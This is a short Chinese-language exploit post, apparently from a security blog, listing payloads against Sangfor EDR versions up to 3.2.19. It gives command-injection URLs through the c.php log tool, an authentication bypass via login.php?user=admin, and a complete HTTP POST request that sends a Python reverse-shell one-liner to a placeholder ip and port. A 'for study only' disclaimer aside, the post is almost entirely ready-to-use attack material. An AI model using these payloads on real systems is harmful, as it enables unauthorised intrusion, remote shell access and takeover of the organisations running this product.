深信服EDR命令执行&任意用户登录

文章仅供学习交流使用！用于非法目的与本人无关！

仅记录代码语句，不放效果图！

命令执行

影响版本

深信服EDR3.2.16、3.2.17、3.2.19

payload

https://XXX/tool/log/c.php?strip_slashes=system&limit=whoami
https://XXX/tool/log/c.php?strip_slashes=system&host=whoami
https://XXX/tool/log/c.php?strip_slashes=system&path=whoami
https://XXX/tool/log/c.php?strip_slashes=system&row=whoami

任意用户登录

影响版本

深信服EDR <= v3.2.19

payload

https://XXX/ui/login.php?user=admin

大招

反弹shell

POST /tool/log/c.php HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b1464478cad68327229d8f46e60d0a08; _ga=GA1.4.112365795.1597799903; _gid=GA1.4.1225783590.1597799903
Content-Length: 256

strip_slashes=system&host=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'